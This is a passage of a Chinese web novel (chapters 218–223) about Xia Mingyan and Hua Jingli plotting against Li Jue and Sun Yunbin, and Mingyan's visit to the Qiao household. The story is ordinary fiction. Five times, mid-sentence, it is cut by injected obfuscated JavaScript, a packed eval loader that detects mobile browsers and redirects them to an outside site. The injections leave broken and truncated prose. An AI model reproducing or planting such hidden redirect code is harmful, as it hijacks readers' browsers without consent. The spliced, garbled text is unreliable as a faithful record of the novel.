之后很可能是卜小娘先找上的孙允斌,并且答应给他找出路,但条件就是孙允斌也得帮她做事。 那时候的孙允斌还是个不得其门而入的年轻人,捐官的银子不敢花,日子过得拮据,以他的无耻程度很有可能会答应卜小娘的要求去勾引夏明月。 卜小娘之所以会选中他去干这种事,那就更容易解答了,因为她清楚夏明月心底里的那个人是李玦,而孙允斌就像另一个李玦,有他出马,成事儿并不难。 夏明嫣想透了这层关系,目光一深:“你是说他之所以没有透露他跟先太后的关系,是因为他担心你会发现他跟卜小娘有关系?” “那他们可玩儿得够大的,一面利用你进入华家军,跟你称兄道弟,一面勾引你的正室妻子,眼看着你的正室妻子都被关进家庙了,他还能大言不惭地跟你做兄弟。” 第218章各自着手 夏明嫣说完就有后悔,她只顾着说孙允斌有多无耻了,忘记了即便没有夫妻之实,上辈子夏明月也是华靖离的妻。 华靖离的神情难得变得尴尬非常,渐渐地露出了牙疼似的表情:“其实那时候我已经提过和离了,我和夏明月自始至终都没有夫妻之实,你可以当做我跟她行同末路,没有关系。” 夏明嫣想想也是,可是没有和离到底还是差着一层的:“我了解那种感觉,就像上辈子我跟李玦一样,后来我发现他并非善类之后,也是没有法子立刻脱身的。” “你始终没有办法摆脱她,那种到哪儿都被粘着甩不掉的感觉……你要是心里实在过不去,你也可以这样想,李玦这两世心悦的都是夏明月,那孙允斌一边能与李玦交好,一边还跟夏明月有私。” “相比起来,李玦是不是更可悲一些,我再想,罢了,没什么……不过算算时间,在这前后孙允斌是不是该到元京了?” “差不多,我让人留意着,若是他去了先太后的娘家,我就派人……找个脸生的,想法子让他见到卜小娘。” 华靖离笑了一下,想想上一世的荒唐,只觉得造化弄人, “造化弄人又如何?我们能重活一世,本身就是造化。对靖和的事,你不必内疚,若非我们引蛇出洞,夏明月和李玦可能没有挑中这件事,他们究竟会利用哪一件事生事却成了未知数。” “到时候他一样可能落得现在的结果,我们这么做,眼前看似落败,实际反而占了先机。其实上辈子我也察觉过李玦有异,可是你也知道,我拿不住他的大错,便不能与他公然翻脸。” “朝堂之上又是两家相交,许多事儿明知道缘由如何,但仍然会身不由主,等到想要翻盘时已然无力回天。如今我们占着先机,反而能将这些事提早揪出来。” “你还不知道吧?其实在南疆的时候,就是在你返回元京之后不久,我已经与他摊牌翻脸了,只是当时在南疆,后来又……这件事没能传扬出去。” 华靖离与李玦是义兄弟,这件事因为李玦的高调和宣扬别说元京了,就是整个大恒都人尽皆知,他没有足够站得住脚的理由,就公然与李玦**,只会让人觉得他背信弃义,功高赫赫之后就不认无权无势的义弟了。 在军中行事最终两个义字,那便是信义和情义,他若非做好了全然准备,这世上有太多的人会因此对他失去信任,没有李玦,身边之人也会担心哪日会被他背弃,从而生出新的祸端。 这世上有些事儿就是这样,当下无法解决,只能拖延下去,拖着拖这,在外人心里假的也成了真的,早已断了的也成了一直都在的。 夏明嫣回想了一下,在南疆时李玦已经开始得势,那时他已经顺着孙允斌这条线搭上了东宫,华靖离更是不能跟他翻脸,否则将在外,朝中不信,一定会酿成大祸。 那时候她随侍李玦左右,也没能看出端倪,不过,等等…… “你说过,你上辈子就……心仪于我,那时在南疆你没有女眷随侍,我给你送过好多次汤水,你就一点都没打算透露给我,还让我跟他朝夕相对,你这分明就是让我与狼为伍。” 她停顿了一下,还想到了一种可怕的可能,这种可能让她不寒而栗,“你就不担心他要利用我对你下毒?上辈子我虽未用过毒,可你知道我与杨家的关系,你就一点也不担心?” “我信你为人,如果李玦让你做这样的事,你也不会做……若是他逼你,他不敢,那是在军中,他担心你会说出去。” 华靖离脸上现出一些悲凉,“那时候我与他之间的局势只是相隔一线,谁进一步、谁退一步都可能决定胜负,他容不得这中间出任何差池。” “你是他的倚仗和智囊,可他也知道你在逆境中虽然多有妥协,但是在大义上却不会退让。要不然他就不会对你隐瞒真相,只是利用你,而是会明着跟你共谋了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15440108|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “可是……万一他瞒着我,让别人在汤水里下了药,通过我的手递给你呢?你确定我没有?” 夏明嫣那时候辨毒用毒的技艺还没有提升,李玦若是用了罕有的毒物,她没发现,他不就完了? 她不禁后怕起来,李玦会不会在汤水里加入了某种慢毒,他后来**身亡,会不会跟她有关。 “别瞎想,没有,那毒是淬在短刀上的,就是你还给夏明月的那把,跟你无关。”华靖离眸光一黯,无比坚定地对她道。 夏明嫣迎着他的目光看了又看,看不出问题,她心里将信将疑的,最终还是决定不要胡思乱想地怀疑自己了,她轻咳了两声,把话头拉回眼前的正事上: “二弟的事,我看不如这样,既然证物是移花接木的,仵作那儿也有问题,衙门里的事我插不上手,不如就侯爷去办。” “那些个书信和词赋少不得还要找些人证,还要验笔迹、墨迹。仵作那儿,我觉得这里面有问题,但不一定这仵作就是被人收买了,也许还是技艺不够。” “他们说吕大姑娘在投缳自尽未死之前毒发身亡,这也太巧了,蛇毒这种东西若非经过人为提炼,除非是剧毒之蛇,见血封喉,能够算得准发作的时间。” “其余的毒性不够的,因个人体质和情况而定,还跟中间有没有医治有关,实在难将时机把握得这般好。如此凑巧,在仵作验尸时造成误解。” “我猜……要想把时机把握得如此之后,当时房里一定还有另外一个人。仵作若是公正,未在吕大姑娘身上发现其他痕迹,那么最有可能还是有人对她用了毒,甚至用了暗器。” “暗器?”华靖离想着几种小而精巧的暗器,“**?” 夏明嫣轻摇了摇头:“也许,也不好说,江湖代有人才出,过去我没关注过这些,也不知道现在暗器到底是什么样的。不过,如果是**,那位置可就不好找了。” 第219章没人注意的暗中势力 “不好找,但只要找得到,就有法子。”华靖离冷笑。 这些人想的是趁事情没有明了就把华靖和送回来,以便造成他徇私的假象,他偏要查得一清二楚,跟这些较这个真。 只是**入体,仔细找身上还或许能找到**,可针究竟在身体里、脏器上还是已经随着血液流动到了身体的哪一处可就不好说了。 大恒律例对仵作查验的程度有要求,还是要尽量保持尸身的完整的,至少验完之后恢复了得是乍眼看看不出太大问题的,要是这般仔细查验,还得征得其家人的同意。 夏明嫣便道:“正好我要去会会那位当家理事的吕二姑娘,要把那件事牵出来,还得给那没了踪迹的孩子找爹,就绕不开她。” “我们各自去忙,不过……侯爷,你行事的时候留意一下,别小看了夏明月,我说的不是她,确切的说是她身边的人。也不仅仅是楚家的,是谁,究竟有没有也说不好……” 她指的是陆家,陆远山流放彭州之后应该是身体出了问题,或是苦寒之地难有子嗣,其实她在死前不久得知了夏明月真正的身世,那时候只打听过一些。 这陆家也不是安分的,那时候已经在北境拉拔起了一支人马,还跟孙允斌勾结在一起了。 试问如此具有雄心壮志的陆家,想要东山再起不会是从那时候才开始图谋的吧?一定早就开始了,而夏明月作为陆远山唯一的后嗣,陆家会不暗中护着? 打从霞姑姑那儿知道了当年夏明月顶替于真正的夏家二姑娘于杏儿的具体细节之后,她就想过这些问题。 当年楚氏是被楚霆孝骗着、逼着接受了亲生女儿换不回来的事实的,甚至她为了不让自己无意间泄漏这一秘密,真的就把夏明月当作了自己的亲生女儿。 这里面情感上的替代和补偿因素虽然有,但主要还是被逼的,不然楚氏不会表现得这么刻意,也不会对夏明月如此没有原则的溺爱。 就连楚氏对陆远山的感情也变得不真实起来,毕竟以楚氏这样的出身,她从小见过多少男女间的悲欢离合,她早就该明白什么是家族为重,什么是迫不得已、无可奈何,早在陆家被流放,楚家不仅袖手旁观还落井下石的时候,她就该清楚她跟陆远山回不去了。 而去了彭州的陆远山也不会再是曾经的陆远山,这一点其实在陆远山遣人送夏明月入元京再要挟楚霆孝逼迫楚氏接受亲生女儿被顶替的那一刻,他已经显露出了他被磨难搓摩出的狰狞面目。 楚氏那时候要是还没清醒,她就真是疯了,她后面还对陆远山表现得一往情深很大程度上是她对自己的催眠,或者说她不得不让自己以为自己很爱陆远山,这样她不得不做出的退让和隐忍才能找到支撑,不然她恐怕早就爆发了。 可是楚霆孝为什么要把楚氏逼到这样的地步?一个出嫁的女儿,女婿还很听话,若非不得已他是疯了才会这么做。 陆家至少现在还谈不上有多大的利用价值,楚霆孝不是为了利用陆家才做出这等狗屁倒灶的事的,他一定是有什么大的把柄被陆家握着,被陆家逼着做出这一切的。 楚霆孝是谁?当朝左相,还出身相门,族中子弟为官者众多,能把这样的楚霆孝和楚家逼到这一步,可以想象陆家和陆远山究竟是怎样的人。 如果陆家人已经派了人到夏明月身边,他们插手进来,恐怕比楚、夏两家插手更加麻烦。 楚、夏两家好歹是讲规矩的,陆远山在彭州攒下的人手会是什么样的?那种地方出来的亡命之徒可堪比**的饿鬼。 只是现在夏明嫣还不敢肯定陆家人有没有入局,这里面有些事儿她还没搞清楚,不好冒然告诉华靖离,免得他反被她的思路限制住了。 华靖离已经习惯了她的有话不说,不过也没什么,有些事儿他自己去发现,反而能跟她的想法互补,还更加事半功倍。 他笑了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15448069|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抓住她话里的称呼不放,“还叫侯爷?该叫什么?我看夏明月已经改口了,你可比她过得好多了,你还不改口。” 别说,就夏明月对李玦那一口一个“阿玦哥哥”、“夫君”地叫着,他还真的很羡慕李玦。 夏明嫣看了他一眼,转身便快走边回着头说:“叫什么?连名带姓地叫么?华靖离,靖离,咦,母亲好像也是这么叫你的……还是以后吧,别以为我不生气了,先这样。” “哦,对了,给侯爷纳的妾一个已经在路上了,还有一个也许最近就要遇见了,侯爷就好好地等着纳新人吧。” “你……改个口而已,你至于吗?别人听了,会说我们夫妻不和!” 华靖离追出去几步,担心被下人看到,只敢在后面踮着脚、拔高了个子低喊了几句。 这女人本事大了也麻烦,想干什么自己就去干了,直接可以甩开他。她自己需要人手帮忙,不好安置了,就要纳进他的后院儿。这到底是他的后院儿,还是她夏明嫣的后院儿。 一瞬间华靖离不知怎么的眼前竟然闪过夏明嫣左拥右抱的画面,她倒是舒服了,他出去了别人恭维他娶得贤妻、坐享齐人之福,他没啥可享受的,还得认下,还得让人觉得他对不起她。 简直岂有此理,罢了,先把眼前的事儿处理好,他们才能来日方长…… 夏明嫣从止戈园出来就去了乔家,她在外面的人手不多,主要靠的就是乔依心这里,再就是齐家。 齐家胜在人脉广,又与杨家是世交,齐大娘子的丈夫是退了宫的御医,她自己也是医者,他们家本身在良医一道上就是数出的名号的人家。 不过这件事上暂且用不到医术,处事上也需要更机变些、更不按常理出牌,那就是乔家更合适了。 而且夏明嫣也有心借此带着乔依心多见识见识什么是男人间的人心险恶、虚伪至极,省得她之后在遇见孙允斌的时候再被骗了。 第220章乔府往事 一进乔府,先迎出来的居然不是乔依心,而是乔夫人方氏,她满脸堆笑地看着夏明嫣,怎么看怎么喜欢,就像看着自家的女儿、侄女儿一样。 两世以来,夏明嫣还是头一次见到这位方夫人,上一世她只是听乔依心抱怨过几次,并不曾来过乔家。 后来乔依心嫁给了孙允斌,大家都说她嫁了一个大有所为的夫君,疼爱妻子,才来元京没几年,就从一个工部的小小书吏成为了东宫的属官。 那时的夏明嫣被困在端侯府里,连出门都难,根本就不知道孙允斌的真面目,只听说乔依心过得好,夫婿也是个前程大好的,便放了心。 过了几年,乔依心因着生下了孩儿,而孙家在元京没有长辈,孙允斌又忙于公事,便将乔依心和孩子送回老家交由伯父、伯母照顾。 那时夏明嫣去过一趟孙家跟乔依心道别,乔依心带着不到两岁的孩子,看起来有些虚弱,别的倒还是不错。 乔依心只说她一切都好,能回孙允斌的老家去也好,她父亲出征在外,娘家就只剩下了方夫人这个继母,她带着孩子回去也处不到一块儿去,她宁愿回孙家老家去。 孙家的伯父、伯母从前养大了孙允斌,她回去也算是尽孝了,让夏明嫣不要担心她,一定要在端侯府好好地活下去。 夏明嫣那时虽然伤心发小即将远行,之后她们天各一方,此生都都不知何时才能再见一面。 可是仔细想想,这不就是女子出嫁后的命运么?能从小一起长大,迁回元京后还有一段相伴的日子,已经很幸运了,要是嫁了人之后,她们还都能在元京,还能时常见面,那就太难得了。 确切的说,即便在这些个为女儿精挑细选夫婿的高门里,能做到把女儿都留在元京的,都是极少数。 夏明嫣自己都沦落成端侯府的妾室了,哪儿还敢指望自己有那么大的幸运,她们的分离其实早在意料之中。 她们告别之后,乔依心便离开了元京,直到多年之后,夏明嫣去了南疆,那时李玦水土不服需要人照顾,但因为中了瘴气,久不能愈。 军中的良医束手无策,只让他养着,他担心再这样下去,会被华靖离遣人送回元京,他就半是央求半是要挟的让夏明嫣去找杨家的关系。 而用来要挟夏明嫣的这件事,就是乔依心“回到”孙家老家的真相。 那时候夏明嫣才得知乔依心一直都在元京外百里的疯人谷中,而她的孩子,早在离开元京后不久就不知所终了。 李玦告诉她,桥将军早在乔依心离开元京时就已战死,只是朝廷为了稳定局面,才隐而不发,只是那时乔依心并不知情,她以为父亲深陷敌手,急需救援,只有丈夫孙允斌能说动太子谢维,发兵救出她父亲。 而孙允斌在那时已经看上了一个高门贵女,具体是谁,李玦也不清楚,只知道这人家中很有势力,孙允斌打算停妻再娶,但是担心桥将军的部旧为难他,所以以乔将军的性命相要挟,让乔依心答应离开元京,渐渐从孙夫人的位子上退下来。 李玦知道这件事时还以为,乔依心离开元京之后过上几年,孙允斌或是和离、或是休妻,再或是给乔依心报一个疾病暴毙,将孩子交给老家的伯父、伯母养大,他再娶也就是了。 可是就连他都没想到,乔依心压根就没有回孙家老家去,一离开元京就被关进了疯人谷,在他们说这番话时已经神志不清了……孙允斌竟然这般狠绝地对待乔依心,为了以绝后患,是半点活路都不给她留的。 夏明嫣听闻这些之后惊得不知所措,她远在南疆,即便传信回夏家,那时夏家已经落在了楚氏手里,夏庸和朱老太太也都帮不上她,她只能依靠李玦。 她这才答应了去寻访杨家在南疆的人脉,为李玦解了瘴毒,而李玦是不会跟孙允斌闹翻的,但他答应想法子保住乔依心的性命,并且派人偷偷地将她带出疯人谷。 夏明嫣的心一直悬着,可是远隔千 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“说起我们心儿,我从前实在不知该如何……唉,不说了,总之多亏了你,那孩子现在也愿意跟我说话了,你乔伯父现在笑脸儿也多了,这府里的日子好过多了。” “你是不知道,我这个年纪才做了这续弦填房,本就没打算有自己亲生的孩儿了,我是一门心思地要把心儿当成我亲生的,从前这番话竟是没处说去……” 第221章爽朗之人的自证 方夫人出身武将世家,性子爽朗,父亲在她八岁上就战**,母亲也在不久后病亡,她的叔、婶对她甚是宠爱,原是等到她十五岁上就议亲的,结果先是婶子病亡,之后又是叔父病亡。 方夫人就像叔、婶的亲生女儿一般,本是各守一年的孝期,她自愿要守三年,前后两个人,算上时间上的交错,她这一首便是将近五年了。 那时的方夫人已经二十岁了,族中再无近亲为她张罗,加上有人说她命硬克亲,这亲事就耽误了下来。 直到乔将军要携女回元京,家里需要一位主母打理,有人牵线搭桥,才把方夫人介绍给了乔将军。 方夫人一开始便看出乔将军是将乔依心当眼珠子疼爱的,要不然也不会这么多年都守着一个女儿过日子,别说是正室填房了,就是一个妾室和通房都不曾有。 乔家人口简单,乔依心也在张罗婚事了,乔将军虽然已经四十多岁了,却依旧英武不凡……这都合了方夫人的心意了。 而方夫人的性子也和了乔将军的心意了,乔将军觉得娶了方氏这般直爽、坚强的女子,将来至少不会变着法儿地搓摩他闺女,而且他若是再去哪儿戍守的话,方氏也能撑起元京乔府中的事务,也能作为乔依心的一个依靠。 谁知道方夫人进门之后,乔依心根本不去了解人家,只道是继母都是不好的,不管三七二十一,直接就闹僵起来。 方夫**有一副“劫后余生”的样子:“华侯夫人不知道,我是不怕说的,我是结庐给叔父、婶娘守的孝,那时也不懂,受了凉,身子坏了。” “我说不会有自己的子女,不是那等赌咒发誓却没影的话,是当真不行的。我听心儿说华侯夫人懂得医术,我怕这孩子还是不信我。” “今日正好你来了,我有个不情之请,想请华侯夫人为我做个见证,为我诊个脉,然后亲口把我的状况告诉心儿,让她放了心。” 夏明嫣愣住了,脸上都点儿发烧,这是被乔依心羞得。瞧瞧,她这发小、闺中好友都把自己的继母逼成什么样了?竟然要她一个外人证明自己无法生育。 方夫人敢这样做,就是说她不怕夏明嫣把她的情况说出去,就是要表明她不会有其他孩子跟乔依心争的决心,表明她对乔家至少没有那方面的图谋。 这般直截了当、宁可流着血诉说也要表明立场的性子,着实难得、少见。 可是人都是有所图的,夏明嫣稍微一想便明白了,方夫人是个孝心极重的人,他那叔婶犹如她的再生父母,那么她守孝五年之后要做的便是安顿好叔婶的亲生子女也就是她的堂兄妹们了。 不过,夏明嫣心里也明白,人家只是求一个依靠和一份前程,这些乔家给的起,将来也未尝不能给乔依心做依靠,这已经是极好的了。 夏明嫣也不好不识趣,便道:“夫人结庐守孝,堪称大义,明嫣着实感佩。以后伯母便别叫我华侯夫人了,这样叫反倒生分了,不如就叫我明嫣吧。” “要说诊脉,这倒是不必了,传出去反而让依心落下闲话。我相信日久见人心,依心不是铁石心肠的人,早晚会明白您的心意。” 结庐守孝,就是在亲长的坟地旁边搭一间草庐,守孝的这些年吃、住、抄经都在里面。 坟地阴冷潮湿,加上守孝期间需要吃素,很多人的身子就是这么跨了的。要说方夫人因此无法生育了,她是信的,别说一个姑娘家了,就是个壮小伙子,都有熬**的。 所以时常有那人家,祖父去世之后儿子结庐守丧,三年之后,儿子的身子也不行了,孝期结束没多久便也去了,之后又到孙子守孝,以致于孙子的身子也不大好的情况发生。 而方夫人有胆子让她查验,至少外面的郎中都是这么说的,这般确定了才敢说出来,这种情况再验,那还是人吗? 方夫人却不这么认为:“明嫣你既然不跟我见外,那就别当我是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449286|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外人。人心里最怕的就是有疑影,我要跟心儿好好相处,那便要有今日一验,将来才能让我跟心儿做真正的母女。” “我也相信你的品性,今日之事,只有我们三人知晓,就是她父亲那儿我都是不会说的,不会坏了她的名声。” 乔依心带着侍女从远处过来,见她们说得热络,上前便拉住夏明嫣好一阵打量: “瞧瞧你,这段日子又瘦了,怎么想起来看我了?你劝我的那些话我都跟夫人说了,现在想想我之前也怪没意思的。” “怎么,我还没来,你们就聊得这般好了?难不成夫人也要认了你去做女儿?那我可不依。” 虽未喊方夫人做母亲,但这一声夫人里已经带了亲昵,显然二人这几日相处得不错,乔依心的态度已经软化了下来。 夏明嫣和方夫人相视一笑,转而将方夫人的意思说了个大概:“……伯母的意思是想借今日这个机会让你们彼此疑心尽去,要我说大可不必如此。” “依心,你都要出嫁了,就是夫人将来再有了子女,你又何尝是那小气的人?多个儿女陪着乔伯父,未尝不是好事。” “可是,既然伯母如此坚持,我看不如一验。只是先说好,这一验不为子嗣,只为信誉。” 乔依心刚刚听着夏明嫣转述方夫人那番话时,脸就红得烧起来了,她哪里是这样的人,方夫人这般说难道是要陷她于不义不成? 她才刚刚觉得方夫人是个不错的人,对她没有恶意,难道她的感觉是错的?现在竟然还要请夏明嫣来诊脉作证,这传出去,她还要做人吗? 其实她心里清楚,父亲为了她守了这么多年已经够了,之所以她不能接受这位继母,主要是这一切来得太突然了。 要是方夫人与她爹是自己相识然后生了情意的,她自是没话说的,可偏偏只是她爹的上官做媒,二人就那样见了几面就一起了,让她怎能不怀疑她这继母的图谋。 第222章该拿出诚意 这也不能完全怪乔依心多往坏处想,乔将军之所以成了乔家这一代上的独子,就是因为继母出尽手段,最后坑害了他的亲弟弟。 乔依心身边还有一个夏明嫣,她们那时又都是在卢阳一起长大的,乔依心看多了楚氏是如何口蜜腹剑,明着对夏明嫣千好万好,背地里却包藏祸心。 那些个手段若非日子久了,她们琢磨出味儿来了,那时候她们才多大,谁能察觉到那些腌臜手段。 而且察觉了还没用,她们非但不能反抗,还得装作毫不知情,否则就连最后的生机都没了……她怎么知道方夫人不是楚氏那样的人? 还是夏明嫣劝她,说方夫人可能不是那样的人,就算是,她也不能用这种这种幼稚的方式对抗,总得谋定而后动算啊。 这么大个人了,都要议亲了,还动不动就离家出走,去那么一个人生地不熟的女观,此前没有丝毫准备,她不吃亏谁吃亏? 那些个女观可不是女道士出家修行的地方,是那些不愿意出嫁或丧夫、和离之后不愿再嫁的高门贵女栖身的地方,这里面有些人甚是开放,在里面都玩儿出花儿来了。 夏明嫣说,她不是想谴责人,而是玩儿惯了的,自然知道里面的规矩和需要规避的东西,可是她呢,在这方面什么经验都没有,就像别人嘲笑她们的那些话,她们就是乡下来的。 别说有没有人故意想害她,就算没有,她自己一脚踩进哪个大坑里了可不好说。 乔依心这才怕了,想着别为了躲着继母,最后自己把自己给害了,没想到回来跟方夫人相处了这些天之后,她发现人家根本就不是她想像中的那种人。 当然了,她跟方夫人之间也还没有建立起不容置疑的信任,只是比原先好了许多而已。 现在的乔依心可以确定,等她出嫁之后,至少她的父亲可以过得很好,这样她也能放心了。 乔依心看看方夫人,又看向夏明嫣,抬起双手摇了摇:“不,不用验了,我就是害怕,其实只要夫人能跟我父亲好好过日子,有了弟弟妹妹,我也不会介意的。” 方夫人爽朗地笑了笑:“这跟你介不介意没关系,话是我说出来的,我就得保证我说的是真的。我请明嫣帮我诊脉,不仅诊的是我的身子,更是我的信誉和品行。” “走,到里面坐坐,你们有什么事儿也不在乎这一炷香的时间。诊完脉,有什么需要的,伯母帮你办。” 这就不好再说什么了,方夫人率先往屋里走去,夏明嫣和乔依心跟在后面,彼此对视了一眼。 到底是多年的闺中好友,夏明嫣一眼就明白了乔依心的心态,不禁无奈地摇了摇头,这丫头到底还是想验的。 进了屋,把侍女和屋子周围的人都打发出去了,夏明嫣就给方夫人诊了脉,反复切脉,又反复思量之后,她点了头: “伯母是个实诚的人,所言非虚,不过只要善加保养,其他方面倒是不成问题。反倒是……最近伯母可有心悸?” “啊,是有一些的,不过这是**病了,多歇一歇就好了。”方夫人不把这病症当回事儿地道。 夏明嫣微微一笑:“伯母身体底子好,倒不是什么大事儿,只是之后一定要记着遇事莫急,不要冲动。否则不仅这症状会加剧,处事时也会更加心意慌乱。” “这症状一定要心平气和地养,您的好日子还长着呢,也还有堂兄妹和子侄要看顾。” 她转过头去看向乔依心,“依心,你之前就是太心急了,才会胡思乱想。不过现在不同了,伯母已经拿出了她的诚意,那么你便不能再疑她。” “咱们三个都是女人,也都不是小孩子了,有什么就直说了,不玩儿虚的,有话我就直说了。你们是半路来的母女,要说能跟亲母女一摸一样,那是骗人的。” “我看,你们不如都把这乔府当作一艘大船,你们都是上面的船夫、伙计,就一起摇着桨向前划、对抗风 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449287|167165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 浪吧。” “依心,伯母如此体谅你,连身上的隐疾都对你说了,你是不是也应该拿出些诚意来?” 乔依心现在也老大地难为情,她没想到方夫人会如此实诚,说是将来不会有子嗣,竟然真就不会有了。 要说夏明嫣会诊错,她当然是不信的,华靖离那么重的伤都能治好,她要是连个妇人症都诊不对,那怎么可能呢? 她尴尬地笑着,点着头道:“我自是想向夫人道歉的,之前都是我太多疑了。我……不是想看到夫人这样,我就是怕夫人是诳我的。” “既然都是我的错,要怎样的诚意,明嫣,你只管说,你向来主意正,我都听你的。” 乔依心的话虽说有些前言不搭后语,可在场的人都听明白了,要是方夫人还能生育,乔依心也不在乎。 她在乎的是,假如能生,却偏偏说不能来骗她,那就是别有用心了。 这继母进门,有多少都说要等原配的孩子大一些才生自己的子嗣,可一进门就想方设法、出尽手段有了身孕的不知有多少,当面一套、背后一套才是最可恶的。 方夫人笑而不语,就算乔依心巴不得她真不能生,她也不介意,她这一路走来,承受过的恶意何其多,哪一桩不比眼前的要严重。 更何况她也明白乔依心真正的意思,这丫头要的是她是一个守信义的人,而不是别的。 不过让她惊讶的是夏明嫣会是一个如此通透的人,刚嫁进端侯府,不过二八年华,竟然能理解她这种在磨难中摸爬滚打多年的妇人的心态。 关键是,夏明嫣还没有这个年纪高门贵女的清高和子衿,还能把她的这种心态摊开在台面上说,那就更不简单了。 方夫人见乔依心这般,她自己也该有个态度的:“将军不管内宅的事,一切都由我跟心儿做主。这件事牵扯我们两个,我们将来又还是要继续做母女的,这种时候的确谁说了什么都会落下不是。” 第223章那是在帮你 方夫人在乔依心的手背上轻拍了两下,又转过头来看着夏明嫣道: “我看明嫣你是个明白人,身份也够贵重,将来也能做个见证。这事儿该怎么说、怎么办,就由你来定。或是你先说出来,我们一起斟酌了再说。” 夏明嫣微微颔首:“要我说伯母虽说婚嫁的年纪大了些,可事出有因,那是做了孝感动天的大事的。依心,不说别的,伯母就算貌丑如无盐或者干脆是个病秧子,单凭着这一身孝名,也不愁没有高门聘她做正室。” “她并非非乔伯父不可,可说到底还是看重了乔伯父的品行和他是个念旧、讲旧情的人。可这话又说回来了,这婚事有哪桩是看品行和情分的?” “伯母这一片孝心还没尽完,日后总要拿出个章程,得让伯母先放了心,没了后顾之忧,她才能专心致志地这乔家的新主母。” “依心,要我说,乔家在城内还有几处别宅,不如拿出一座大一点的府邸,让伯母的堂兄妹、子侄都住进去。” 方夫人的叔伯、婶子同时也是她的养父母,她能为了养父母结庐守孝五年,自然不会放下叔伯、婶子的儿孙。 本来还带着一丝猜疑,担心夏明嫣说不到点子上,没想到这话说得何其准确、大方、漂亮。 方夫人赶忙这话梯子道:“要是心儿能允了这件事,日后我便是为乔家做牛做马,我也甘之如饴。心儿、明嫣你们放心,那些个孩子年纪还小,可都是勤快的人。” “只是方家从前不在元京,在这儿没有跟呐,他们几个半大的孩子住在外面,倒不是赁不起几间屋子,而是少了依靠谁不欺到他们投上去?” “我只愿他们平安长大,在这几年里,该念书的念书,该学手艺的学手艺,等他们大了就让他们自谋出路、各奔前程去,这宅子我定原物奉还。” 乔依心愣了一下,没想到方夫人真就只有这么一个要求,她愈发地羞了起来: “夫人把我想成什么人了?回头我就跟父亲说去,宅子定是要给的,学塾和各种手艺师父家里也得帮着安排。” “夫人从前我错了,这回您别跟我见外,以后您说的这些个孩子也都是家里的亲戚,不必这么客气的。” 方夫人听了自是称是,二人你来我往地到了歉,直到彼此都尴尬了,才不得不停下。 方夫人问起夏明嫣的来意,夏明嫣大概说了,想到一件事方夫人还真可以帮忙,也就不跟她客气了: “这事儿上还需要一些人手,帮忙盯着吕家,其实华家也派了人去,只是具体是怎么回事儿、都是谁去了,我也不好问,总归有一些亲近的人替我看着,我才能放心。” “伯母要是能借几个脸生的人手给我,那就是谢礼了。等到华家二公子出来了,我让亲自来谢伯母。” “好说,好说,那吕家从前我还去过他们家的铺子里呢,那一带是复杂了些,光是巷子就有不少条。要不是熟悉那边的人,还真未必看得住。” 方夫人当即便要叫了人进来传话,“况且华侯手下的都是男子,让他们去看着一个姑娘家多有不妥,我是该派些人过去。” “刚好我身边还有几个武婢,让她们去看着吕姑娘,更方便,也不容易错漏了什么。” 大男人看女人,他们不了解女子的行为、做派,就好比哪天吕二姑娘要是想拿上街买胭脂水粉做借口,转头就跑了,等这些个人想出不对的地方来了,人早就跑出城去了。 华靖离和夏明嫣之前故意放松警惕以便引蛇出洞,现在这蛇已经动起来了,要看的是他们如果能把这条蛇抓个现行。 只要这人手靠谱,多一个人,也能多一分保障。 方夫人没有多留,单独留了乔依心和夏明嫣说话,临走还说要让乔心怡多跟着她历练历练,这些日子要是夜里回来的晚了,让人提前回来报个平安就行。 乔依心一听夏明嫣不仅让两拨人看着吕家,还要亲自去说服吕二姑娘帮忙,她要的就是再一次引人注意 